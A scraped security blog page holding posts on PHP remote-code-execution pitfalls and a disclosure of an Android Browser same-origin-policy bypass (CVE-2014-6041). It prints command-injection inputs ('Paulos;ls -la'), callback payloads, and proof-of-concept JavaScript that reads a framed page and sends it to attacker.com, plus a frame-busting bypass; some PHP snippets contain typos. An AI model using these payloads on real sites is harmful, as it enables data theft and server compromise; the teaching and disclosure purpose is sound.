KNOX D3

Indepth Code Execution in PHP: Part Two

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFvkYvbpM38nT9OV4q7K0W19a5AhZuRWAWh_3ZGbwCDKE9L-mQV2FShg0g-z_rkrVgtUNg0W9gJGrjx6XTpjL-xF-IB0LNeCC0eOlNHISqMHekhbLDeJv9AWic0SUOCwVUFn53FJR5qLI2/s1600/phpbugs.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="185" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFvkYvbpM38nT9OV4q7K0W19a5AhZuRWAWh_3ZGbwCDKE9L-mQV2FShg0g-z_rkrVgtUNg0W9gJGrjx6XTpjL-xF-IB0LNeCC0eOlNHISqMHekhbLDeJv9AWic0SUOCwVUFn53FJR5qLI2/s1600/phpbugs.PNG" width="320" /></a></div><br />This is a continued post from Code Execution in PHP; you can read the first post <a href="http://www.rafayhackingarticles.net/2014/08/remote-code-execution-in-php-explained.html" target="_blank">here</a>, so if you haven't read that before please go ahead and read it first or else you would have problem understanding the second part.<br /><br />“…It’s no secret that PHP is an easy language to which anyone with amateur coding skills could work with and as a rule with poor knowledge of basic security concepts, this factor alone often lead to new poorly written web-applications; Thus compromising their hosts and extraction of sensitive information. Recently, I was on a pentest for a project to which I was working on and went noticing unusual type of code execution. I decided to write about Code Execution Indepth because the developers need to focus on their poorly written web applications in PHP. This article will try covering code execution flaws in places which are less predictable and detail on snippets of code which might look secure while providing possibilities for ‘code injection’...”<br /><br /><a name="more"></a><br /><br />In the earlier article, I tried covering practical examples which could potentially lead to Remote Command Execution (RCE) in PHP. Now let’s discuss about some other methods/mistakes which a PHP developer might just had done in writing his/her web application.<br /><br /><h4 style="text-align: left;">Curly Braces:</h4><div style="text-align: left;">They say curly syntax is meant to separate code from strings.  In contrast to this view, what it actually does is, ‘embed’ it. As in PHP manual pages written, it means that it would allow to use complex expressions (too complex but let’s just stick with minimal complexity for the sake of the demonstration).<br /><br />Imagine Curly braces being used this way:</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">    <?php<br />    If(isset($_GET['year']){<br />    $year=$_GET['year'];<br />    $finalizae="My birthday is 19{'year}.";<br />    print $finalize<br />    ?></blockquote><div style="text-align: left;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_AXw3Ntoy5xRVfl1yMPPRQh7RBR6A9o7FUad36FsWFIFS4u4LuLQucfETmjX1nG0OZtqMBI7N9IU65rytgvOGPYDaOpqk6INJxBU9MFFGe5fswDXPV-2yib4LdkWbwMOclAt_TuKPy92P/s1600/1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_AXw3Ntoy5xRVfl1yMPPRQh7RBR6A9o7FUad36FsWFIFS4u4LuLQucfETmjX1nG0OZtqMBI7N9IU65rytgvOGPYDaOpqk6INJxBU9MFFGe5fswDXPV-2yib4LdkWbwMOclAt_TuKPy92P/s1600/1.PNG" /></a></div><div style="text-align: left;"><br />The code used is supposed to ‘echo’ out the year variable (97) embedded inside “My birthday is 19xx” so an user had to submit ‘12’ to the ‘year’ as an input, it code would print out or ‘echo’, “My birthday is 1912”<br /><br />Maliciously submitting an input such as ‘dir’ would end up listing files and folders of current directory when $finalize is called in the realm of PHP. This in turn would provide vivid information to a web attacker. Other commands are possible, I had just used ‘dir’, to be reliably simple enough!<br /><br />Let’s imagine cases like:</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">     $brief="I was here until ${`dir`} appeared here";</blockquote><div style="text-align: left;"><br />From the aforementioned code, ‘dir’, the system command would get executed. Wow. Why did that happen? Well, the code between curly braces will be evaluated and result will replace {`dir`} thus ending up creating a variable. That is the absolute reason why if this one PHP will be complaining about undefined PHP variable. What happened is fairly similar to:</div><div style="text-align: left;"><br /></div><blockquote>    <?php<br />    eval("$brief");<br />    ?></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLVWqMH6brKAzZs5P7u2Fht8b6b5_5olD8MIFv945-x9mWr_rKbyVnSBZdqvjZpBqllLH9Gkw3yHEzKgc1EHlw3SbFz2JuXohcT-VopaCbwO1udOZf9nmakb-JUe1ezzQAkXJM0jg_ndiC/s1600/3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLVWqMH6brKAzZs5P7u2Fht8b6b5_5olD8MIFv945-x9mWr_rKbyVnSBZdqvjZpBqllLH9Gkw3yHEzKgc1EHlw3SbFz2JuXohcT-VopaCbwO1udOZf9nmakb-JUe1ezzQAkXJM0jg_ndiC/s1600/3.PNG" /></a></div><br /><div style="text-align: left;"><br />“$breif” is a result of the “dir” command as a string, similar malicious case for an web attacker to execute commands and ex-filtrate information would be:</div><div style="text-align: left;"><br /></div><blockquote>    <?php<br />    $name='phpinfo';<br />    ${name}();<br />    ?></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1H7saSBZerkFCRjaHJ8wjFDaERa0CbzcnDlImpx9lzJPfHdC6-ulwtTKzQCvDT5sVB07Tmf4ZgsAWaXVgvFUKalAW4wzA054f0yuy36DlVgO7svdAKyDcyPr1NKxoTbZ7BV3zGrnxCHHl/s1600/4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1H7saSBZerkFCRjaHJ8wjFDaERa0CbzcnDlImpx9lzJPfHdC6-ulwtTKzQCvDT5sVB07Tmf4ZgsAWaXVgvFUKalAW4wzA054f0yuy36DlVgO7svdAKyDcyPr1NKxoTbZ7BV3zGrnxCHHl/s1600/4.PNG" /></a></div><br /><div style="text-align: left;"><br />If the above example for example stored name as the username and our username submitted was ‘phpinfo’, what happened as per the malicious request submitted as a payload leads to command execution revealing sensitive information disclosure. </div><h4 style="text-align: left;">Other Cases:</h4><div style="text-align: left;"><br />There are functions such as assert() which could be equally exploited but is rarely known to the web developers, it is often found on CTF challenges, same thing as the eval function. </div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">    <?php<br />    $name='phpinfo()';<br />    assert($name);<br />    ?></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRhKS9YDEg7ccUJLrLTkDLT6NSDPLw90DKVODAONiD6jvynUdogp_l26eyzA0P0KoigrOj6nuGJqNhnqXWCaqiD6OTpgWQ11rmxhLI7ZZZHLYRkRbGi3FXwty-Q_46zdu6IdJxPkcbeaPj/s1600/5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRhKS9YDEg7ccUJLrLTkDLT6NSDPLw90DKVODAONiD6jvynUdogp_l26eyzA0P0KoigrOj6nuGJqNhnqXWCaqiD6OTpgWQ11rmxhLI7ZZZHLYRkRbGi3FXwty-Q_46zdu6IdJxPkcbeaPj/s1600/5.PNG" /></a></div><br /><div style="text-align: left;"><br />Assert is designed to help with debugging and not evaluation, thus, leading to command execution. So if you use assert in a user supplied input which you think is trustable, probability is your code might just be vulnerable to Remote Code Execution (RCE) using malicious payloads by users of the application you trust.<br /><br />Developers can use array functions to apply some list of properties to data or reverse. In most cases applying functions are predefined, and these types of vulnerabilities are not ‘almost’ known to the public or is limited by knowledge.<br /><br />Anyway, These are the array functions I had been dealing with which could lead to RCE:</div><div style="text-align: left;"><br /></div><blockquote>    array_intersect_uassoc(), usort(), uksort(), array_filter(),<br />    array_diff_uassoc(), array_diff_ukey(), array_reduce(),<br />    array_udiff(), array_udiff_assoc(), array_udiff_uassoc(),<br />    array_intersect_assoc(), array_uintersect(), array_uintersect_assoc(),<br />    array_uintersect_uassoc(), array_walk(), array_walk_recursive() ,<br />    uasort(), array_map()</blockquote><div style="text-align: left;"><br />In short, don’t use those with a user supplied input unless sanitized properly in PHP. The formula for an almost secure web application is to never trust input from users!<br /><br />Let’s take the last function for an example (array_map) and exploit it:</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">     <?php<br />    $evil =$_GET['name'];<br />    $some_array=array(0,1,2,3);<br />    $new_array=array_map($evil,$some_array);<br />    ?></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy9mvT00S_hA2AvLPlnrWoI5L77wOmCr33kO3dFheVsK_foOO4jADWeKBcipMLmSmdw82LvdKkKfiiKlzKMRHUUHZ1rs_Zl4PpBytMpYw7lriOpu39pxJ8pfiNbOIsog5bRErL0BkVkc77/s1600/6.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy9mvT00S_hA2AvLPlnrWoI5L77wOmCr33kO3dFheVsK_foOO4jADWeKBcipMLmSmdw82LvdKkKfiiKlzKMRHUUHZ1rs_Zl4PpBytMpYw7lriOpu39pxJ8pfiNbOIsog5bRErL0BkVkc77/s1600/6.PNG" /></a></div><br /><div style="text-align: left;"><br />Honestly, this is a rare snippet of code but just to prove the point behind mysterious remote code execution attacks, grab me an opportunity to explain what it does! It receives a parameter called ‘name’ via GET request and use this parameter to map it into an array called ‘$some_array’. But the function is also designed to execute call backs to functions. Developers using insecure coding practices do not realize this, thus leading to RCE exploitation with exploits like the following demonstrated:</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">    http://localhost/index.php?name=phpinfo</blockquote><div style="text-align: left;"><br />The payload ‘phpinfo’ will be executed and the resultant would be a remote code execution bug which persists due to insecure coding practices. This theory is practical but there is a limitation. The limitation being, only we can call already written functions like phpinfo() or uname() but can’t write a code to be executed other than call functions.<br /><br />These other functions are using callbacks, but they are not array based like previous once. They can however be used to create situations like demonstrated before in this article, so do not use them in user supplied input.</div><div style="text-align: left;"><br /></div><blockquote>    stream_filter_register(), set_error_handler()<br />    register_shutdown_function(), register_tick_function()</blockquote><div style="text-align: left;"><br />And some other XML functions by default enabled in php:</div><div style="text-align: left;"></div><ul style="text-align: left;"><li>·xml_set_character_data_handler()</li><li>·xml_set_element_handler()</li><li>·xml_set_end_namespace_decl_handler()</li><li>·xml_set_external_entity_ref_handler()</li><li>·xml_set_notation_decl_handler()</li><li>·xml_set_default_handler()</li></ul><div style="text-align: left;"><br /> or pretty much, xml_set_*_*()<br /><br />Remember: function call backs/functions using them are good! However in certain cases they are very bad for the logic of the application to behave as we had witnessed in this article. Most of the issues covered weren’t vulnerabilities. Infact, they were features of PHP. But, from improper usages of these *features*, the worse can happen and could lead to existence of potential vulnerabilities tossing up an opportunity for a <a href="http://blog.czarsecurities.com/1077/9-5-job-is-too-old-school-for-a-hacker-meet-shritam-bhowmick/" target="_blank">web attacker</a> to compromise the security of an application. Please be wise and read the manual of a (new) function before implementing in on a practical code and running them on production servers.<br /><br />Happy Hacking!</div><h4 style="text-align: left;">About the Author </h4><div style="text-align: left;">This following article is a guest post by Paulos Yibelo. Yibelo is the newest member of RHA family. He is a full time PHP coder and most of his research is involved with application security. In his free time he loves writing articles related to application security <a href="http://paulosyibelo.blogspot.com/" target="_blank">http://paulosyibelo.blogspot.com/</a>.</div></div>

Indepth Code Execution in PHP: Part Two

This is a continued post from Code Execution in PHP; you can read the first post here , so if you haven't read that before please go ahe...

+ Read more »

Android Browser Same Origin Policy Bypass < 4.4 - CVE-2014-6041

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUcYKGYlOma04C1BZBUtj-SVqSR6VyN6x_WsVD17WzSLPXolu9kXmGbDBUxEbjjiZLMfsmjqe72O9S5FQ6oooITeCJO9rwp__FWWo3um31mIy7dQ-qVdWEIwfJdROFWAnM8vcPkdRpBeg/s1600/Pirate.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUcYKGYlOma04C1BZBUtj-SVqSR6VyN6x_WsVD17WzSLPXolu9kXmGbDBUxEbjjiZLMfsmjqe72O9S5FQ6oooITeCJO9rwp__FWWo3um31mIy7dQ-qVdWEIwfJdROFWAnM8vcPkdRpBeg/s1600/Pirate.jpg" width="320" /></a></div><h4>Introduction</h4>Same Origin Policy (SOP) is one of the most important security mechanisms that are applied in modern browsers, the basic idea behind the SOP is the javaScript from one origin should not be able to access the properties of a website on another origin. The origin is formed by the combination of Scheme, domain and port with the port being an exception to IE. There are some exceptions with SOP such the location property, objects wtih src attribute. However, the fundamental are that different origins should not be able to access the properties of one another.<br /><a name="more"></a><br /><h4>SOP Bypass</h4>A SOP bypass occurs when a sitea.com is some how able to access the properties of siteb.com such as cookies, location, response etc. Due to the nature of the issue and potential impact, browsers have very strict model pertaining it and a SOP bypass is rarely found in modern browsers. However, they are found once in a while. The following writeup describes a SOP bypass vulnerability i found in my Qmobile Noir A20 running Android Browser 4.2.1, and later verified that Sony+Xperia+Tipo, Samsung galaxy, HTC Wildfire, Motrorolla etc are also affected. To best of my knowledge, the issue occurred due to improper handling of nullbytes by url parser. <br /><u><br /></u><u><b>Update: </b>Other folks have verified this issue to work under Android browser < 4.4. Ref - <a href="https://github.com/rapid7/metasploit-framework/pull/3759" rel="nofollow" target="_blank">https://github.com/rapid7/metasploit-framework/pull/3759</a></u><br /><br />The following is a proof of concept:<br /><h4>Proof Of Concept </h4><iframe name="test" src="http://www.rhainfosec.com"></iframe><br /><input type=button value="test"<br />onclick="window.open('\u0000javascript:alert(document.domain)','test')" ><br /><br />As you can see that the code tries accessing the document.domain property of a site loaded into an iframe. If you run the POC at attacker.com on any of the modern browsers, it would return a similar error as attacker.com should not be able to access the document.domain property of rhainfosec.com.<br /><span style="background-color: white; box-sizing: border-box; color: red; font-family: Consolas, 'Lucida Console', monospace; font-size: 12px; line-height: 12px; white-space: pre-wrap;"><br /></span><span style="background-color: white; box-sizing: border-box; color: red; font-family: Consolas, 'Lucida Console', monospace; font-size: 12px; line-height: 12px; white-space: pre-wrap;">Blocked a frame with origin "<a class="webkit-html-external-link" href="http://jsbin.com/" style="box-sizing: border-box; color: #545454; cursor: pointer; text-decoration: none;" target="_blank" title="http://jsbin.com">http://jsbin.com</a>" from accessing a frame with origin "<a class="webkit-html-resource-link" href="http://www.rhainfosec.com/" style="box-sizing: border-box; color: #545454; cursor: pointer;" title="http://www.rhainfosec.com">http://www.rhainfosec.com</a>". Protocols, domains, and ports must match.</span><span style="background-color: white; color: red; font-family: Consolas, 'Lucida Console', monospace; font-size: 12px; line-height: 12px; white-space: pre-wrap;"> </span><br /><div class="console-group console-group-messages" style="-webkit-text-stroke-width: 0px; background-color: white; box-sizing: border-box; color: #222222; font-family: Consolas, 'Lucida Console', monospace; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; position: relative; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><div class="console-message-wrapper" style="box-sizing: border-box; display: flex;"><div class="console-message console-error-level" style="border-bottom-color: rgb(240, 240, 240); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; clear: right; flex: 1 1 auto; margin-left: 24px; min-height: 16px; padding: 1px 22px 1px 0px; position: relative;"><ol class="outline-disclosure" style="-webkit-padding-start: 12px; box-sizing: border-box; font-size: inherit; line-height: 12px; list-style-type: none; margin: 0px; outline: none; padding-left: 0px;" tabindex="0"><li class="parent selected" style="box-sizing: border-box; margin-left: -12px; margin-top: 1px; padding: 0px 0px 0px 14px; word-wrap: break-word;" title=""><span class="console-message-text source-code" style="box-sizing: border-box; color: red !important; font-family: Consolas, 'Lucida Console', monospace; font-size: 12px !important; white-space: pre-wrap;"><a class="console-message-url webkit-html-resource-link" href="https://www.blogger.com/null" style="box-sizing: border-box; color: #545454; cursor: pointer; float: right; margin-left: 4px; max-width: 100%; text-align: right; text-decoration: underline;" title="http://jsbin.com/vagugebiweja:7">vagugebiweja:7</a></span></li></ol></div></div></div><br />However, running it on any of the vulnerable smart phones default browsers would alert the document.domain property indicating that the SOP was not able to restrict the access to document.domain property of a site at a different origin.<br /><br />I created the following POC, so you can mess around with some stuff:<br /><h4>Reading the response</h4>You can read the response of any page by accessing the document.body.innerHTML property.<br /><br /><iframe name="test" src="http://www.rhainfosec.com"></iframe><br /><input type=button value="test"<br />onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')" ><br /><div><h4>Reading the response and sending it to an attackers domain</h4>In real world situation an attacker would send the response to his controlled domain. </div><div><b><br /></b></div><div><iframe name="test" src="http://www.rhainfosec.com"></iframe><br /><input type=button value="test"<br />onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" ><br /><div><h4>Bypassing Frame Busting Code</h4>A lot of websites still use frame busting code to prevent the page from being prevent and since we can only bypass SOP here when the site could be framed. In case, where the site is using a frame busting code, we can bypass it using the sandbox attribute that was introduced as a part of HTML5 specifications.<br /><br /></div><div><iframe name="test" src="http://www.rhainfosec.com" sandbox></iframe><br /><input type=button value="test"<br />onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" ><br /><br /><b>Update: </b>A metasploit module has been released by jvennix-r7 which also supports x-frame-options bypass making it a completely universal exploit.  <b>Ref - <a href="https://github.com/rapid7/metasploit-framework/pull/3759" rel="nofollow" target="_blank">https://github.com/rapid7/metasploit-framework/pull/3759</a></b></div></div><div><div><h4>Affected Versions</h4>The initial tests were carried out on android browser 4.2.1 (Qmobile) and below and later verified with Galaxy S3, HTC wildfire, Sony Xperia, Qmobile etc.<br /><br />The following are some of the smartphones i tested with browserstack.com.<br /><h4>Samsung Galaxy S3</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUIOizl2ybQLhcfJisheVoALmDPezBsKKhpCH6MhJdwVK6uBtIQvpGpE2BR8JXWYKU-z4kVOyAl5IGr3gt8h-YGbjzCxA6xzOislxtNlctum2mBCHfQQ7ewgK41jf-7Z1Q2IIdz7-QNeU/s1600/aaa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUIOizl2ybQLhcfJisheVoALmDPezBsKKhpCH6MhJdwVK6uBtIQvpGpE2BR8JXWYKU-z4kVOyAl5IGr3gt8h-YGbjzCxA6xzOislxtNlctum2mBCHfQQ7ewgK41jf-7Z1Q2IIdz7-QNeU/s1600/aaa.png" width="330" /></a></div><b><br /></b></div></div><h4>Motrorolla Razr</h4><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqoW5iO7Lo9hQn4D1E0JO0YPd0UAnUBvegi8iKq_-QoB7GnTLK-EhjhjUCEvv4OWTCCDuzkKIMaOEyp0mHbhcOxnc8jr87PxkCRLBt7rgLHvb8rnyPxMixYXoXSCaJ-04OIFfnk2g_KZg/s1600/aa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqoW5iO7Lo9hQn4D1E0JO0YPd0UAnUBvegi8iKq_-QoB7GnTLK-EhjhjUCEvv4OWTCCDuzkKIMaOEyp0mHbhcOxnc8jr87PxkCRLBt7rgLHvb8rnyPxMixYXoXSCaJ-04OIFfnk2g_KZg/s1600/aa.png" width="342" /></a></div><div class="separator" style="clear: both; text-align: left;"></div><h4>Sony Xperia Tipo</h4><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDyT0OFunOcvjC6kq9Gk7GapFFBW7DKUFVhc8UftpKBotKdHczZ5lJ8tnd1oz1PXnQAcKb4eYJlgTFp7vhLiQQuF1XfJ2cvzCU7zPTsx3hretzirFeu0x8pIKD2PD94yXSKIf7-neXifE/s1600/aaaa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDyT0OFunOcvjC6kq9Gk7GapFFBW7DKUFVhc8UftpKBotKdHczZ5lJ8tnd1oz1PXnQAcKb4eYJlgTFp7vhLiQQuF1XfJ2cvzCU7zPTsx3hretzirFeu0x8pIKD2PD94yXSKIf7-neXifE/s1600/aaaa.png" width="364" /></a></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><h4>HTC Evo 3D and Wildfire </h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNqMwyVFR7st_GG2e6-k87pypmIjaejE8EQsyUt1lpiS0LP9KfDR92O1fS6kD8ffzQtT1PXY201KE_g23_wyq8CTkYX_PuDmabAdNNmRkS423d95AxBDN7rkzNHTgHG63pNkS8TEnotuo/s1600/htc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNqMwyVFR7st_GG2e6-k87pypmIjaejE8EQsyUt1lpiS0LP9KfDR92O1fS6kD8ffzQtT1PXY201KE_g23_wyq8CTkYX_PuDmabAdNNmRkS423d95AxBDN7rkzNHTgHG63pNkS8TEnotuo/s1600/htc.png" width="342" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Hope you enjoyed it, Until next time. Pass the comments. </div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>Updates</b></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"></div><ul style="text-align: left;"><li>Haru Sugiyama has posted found an additional technique to read local files using this trick, To learn about it, please visit here - <a href="http://t.co/mGoVU1RWjf">http://t.co/mGoVU1RWjf</a></li><li>Posted about a second SOP bypass vulnerability - <a href="http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html" rel="nofollow" target="_blank">http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html</a></li><li>A Content Security Policy bypass was also posted in browsers prior to 4.4 by abusing nullbytes - https://twitter.com/AndroidTamer/status/521494552574582784</li></ul></div><h4>Press Coverage</h4>http://threatpost.com/flaw-in-android-browser-allows-same-origina-policy-bypass/108265#comment-317786<br /><br />https://showyou.com/v/y-yY23sS6DoEs/android-browser-vulnerability-security-now-473<br /><br /> https://securitystreet.jive-mobile.com/#jive-document?content=%2Fapi%2Fcore%2Fv2%2Fposts%2F6804<br /><br /> http://www.theregister.co.uk/2014/09/16/three_quarters_of_droid_phones_open_to_web_page_spy_bug/<br /><br />http://linustechtips.com/main/topic/216087-metasploit-major-android-bug-is-a-privacy-disaster-cve-2014-6041/<br /><br />http://nakedsecurity.sophos.com/2014/09/16/shocking-android-browser-bug-could-be-a-privacy-disaster-heres-how-to-fix-it/<br /><br />http://www.forbes.com/sites/thomasbrewster/2014/09/16/widespread-android-vulnerability-a-privacy-disaster-claim-researchers/<br /><br />http://www.securityweek.com/dangerous-same-origin-policy-bypass-flaw-found-android-browser<br /><br />http://www.computerworld.com/article/2684059/many-android-devices-vulnerable-to-session-hijacking-through-the-default-browser.html<br /><br />http://gadgets.ndtv.com/mobiles/news/android-browser-security-hole-affects-millions-of-users-says-expert-592578<br /><br />http://www.bostonglobe.com/business/2014/09/15/rapid-boston-finds-android-flaw/JJ9iHJB6YTcs10a7O9TjpN/story.html<br /><br />http://www.digit.in/mobile-phones/android-security-flaw-affects-millions-of-users-23921.html<br /><br />http://www.phonearena.com/news/New-Android-bug-called-a-privacy-disaster_id60750<br /><br />http://www.scmagazine.com/android-bug-allowing-sop-bypass-a-privacy-disaster-researcher-warns/article/371917/<br /><br />http://arstechnica.com/security/2014/09/android-browser-flaw-a-privacy-disaster-for-half-of-android-users/<br /><br />http://thehackernews.com/2014/09/new-android-browser-vulnerability-is.html<br /><br />http://xakep.ru/news/aosp-browser-sop/<br /><br />http://blog.trendmicro.com/trendlabs-security-intelligence/same-origin-policy-bypass-vulnerability-has-wider-reach-than-thought/<br /><br />http://daily.urdupoint.com/livenews/2014-09-17/news-303641.html<br /><br />http://dailypakistan.com.pk/daily-bites/17-Sep-2014/144263<br /><br />http://e.jang.com.pk/09-24-2014/karachi/page16.asp<br /><br />http://tribune.com.pk/story/764713/online-security-pakistani-helps-google-avoid-privacy-disaster/<br /><br />http://www.dawn.com/news/1133178/pakistani-researcher-reveals-privacy-flaw-in-android-browsers <br /><br />http://tribune.com.pk/story/764925/credit-to-our-white-hats/<br /><br />http://propakistani.pk/2014/09/23/pakistani-researcher-helps-google-preventing-massive-security-disaster/<br /><br />http://www.makeuseof.com/tag/this-android-browser-bug-will-make-you-upgrade-to-kitkat/</div>

Android Browser Same Origin Policy Bypass < 4.4 - CVE-2014-6041

Introduction Same Origin Policy (SOP) is one of the most important security mechanisms that are applied in modern browsers, the basic idea b...

+ Read more »

Remote Code Execution in PHP Explained - Part 1

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZG6Cz8ZJn0-QeZX-NtH0kNJgvdaPoML4UB1WKg_Tcad1seLYPGVbbAS9IhU9aFaEvY0FSB6kL1BZFRIivNQP4do8krwUo-TKWN5dUklhO518vC8y3AmeZat04YA04PwCNrudxizBeuYc/s1600/Samba+remote+code+execution+vulnerability,+Patch+Released.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZG6Cz8ZJn0-QeZX-NtH0kNJgvdaPoML4UB1WKg_Tcad1seLYPGVbbAS9IhU9aFaEvY0FSB6kL1BZFRIivNQP4do8krwUo-TKWN5dUklhO518vC8y3AmeZat04YA04PwCNrudxizBeuYc/s1600/Samba+remote+code+execution+vulnerability,+Patch+Released.jpg" width="400" /></a></div><br />This is a two part article about code execution in PHP. It’s a very detailed article and contains references from other sources as well.  I will discuss about some of the mistakes done by PHP developers which result in Remote Code Execution Vulnerability.  It’s no secret that PHP is an easy to code language; however a lot of new PHP developers lack the knowledge of basic security principles which results in to new poorly written web-application often introducing critical vulnerabilities.<br /><h4>PHP Vulnerable Functions</h4>Let’s take a look at the very common class of functions which when used insecurely result in a remote code execution. Any untrusted input passed through one of these functions without sanitization would result in an arbitrary code being executed. eval() , system(), exec(), shell_exec()<br /><a name="more"></a><br />The first fair case I would say is using the eval function. Web-developers usually want to evaluate desired code with some dynamic changes. Let’s take a look at the following example:<br /><blockquote class="tr_bq"><b><?php</b><br /><b>eval("echo $name;");</b><br /><b>?></b></blockquote>In this case variable will be treated as PHP code, so contents of $name will be evaluated<br /><blockquote class="tr_bq"><b><?php</b><br /><b>eval('echo $name;');</b><br /><b>?></b></blockquote><div><div>In second one value of $name will be simply echoed. So, if your intention was second case, there is no reason to use double quotes for any calls.</div><div><br /></div><div>As you can see, sanitizing eval can be a big waste of time and there is no function designed in php to properly escape eval. Mostly this kind of issues occur with scripts like:</div><blockquote class="tr_bq"><b><br /></b><b><?php</b><br /><b>$name = $_GET[‘name’]</b><br /><b>system(“echo $name”);</b><br /><b>?></b></blockquote><div>So seeing from the above code, whatever code we gave it, the developer thinks it will just print it out. It’s a right conclusion but with a wrong angle of view, an attacker can give values like</div><div><br /></div><div>“Paulos;ls –la” or “Paulos && dir” for windows systems</div><div><br /></div><div>And execute the ls –la command, since ‘;’ means to execute that line and to execute a new one, i.e ls -la</div><div>So the output would be “Paulos” with the list of the current directory. </div><div><br /></div><div>Similarly other functions such as shell_exec, exec would result in the same vulnerability. </div><div><h4>Regex</h4></div><div>One popular case leading to code evaluation is regex. Regexps are used widely because it is often easier to write regex than to individually do it. A lot of web application filters and firewalls use rules that are based upon regex.</div><div><br /></div><div>PHP has support of the Perl Compatible Regex; there is availability of ‘<b>e preg_replace_eval</b>’ modified in regex for functions. Like preg_replace() for example, When a is match found, it then will be executed. </div><div><b><br /></b></div><blockquote class="tr_bq"><b><?php</b><b>$name='<p>phpinfo()</p>';</b><b>preg_replace("/<p>(.*?)<\/p>/e",'addslashes(\\1)',$name);</b><b>?></b></blockquote><div>It’s obvious the intention of the developer was to sanitize the input with addslashes(). Even if there is no ‘<b>e</b>’ modifier, sometimes it is possible to evaluate code. It can be achieved by writing some regular expression with the help of our dear friend, the null byte. </div><blockquote class="tr_bq"><b><br /></b><b><?php </b><b>$replace=$_GET['re'];</b><b>$name='<p>phpinfo()</p>';</b><b>preg_replace("/<p>(.*?)$replace<\/p>/",'\\1',$name);</b><b>?></b></blockquote><div>This example is an easy one and native but, the aim is to show how null-byte attack could work. Now consider that vulnerable script accepts request like this:</div><div><br /></div><div>http://localhost/index.php?re=<\/p>/e</div><div><br /></div><div><h4>Function Tasks</h4></div><div><br /></div><div>The function tasks are one of the other ways how code execution could occur, let’s take a look at the following 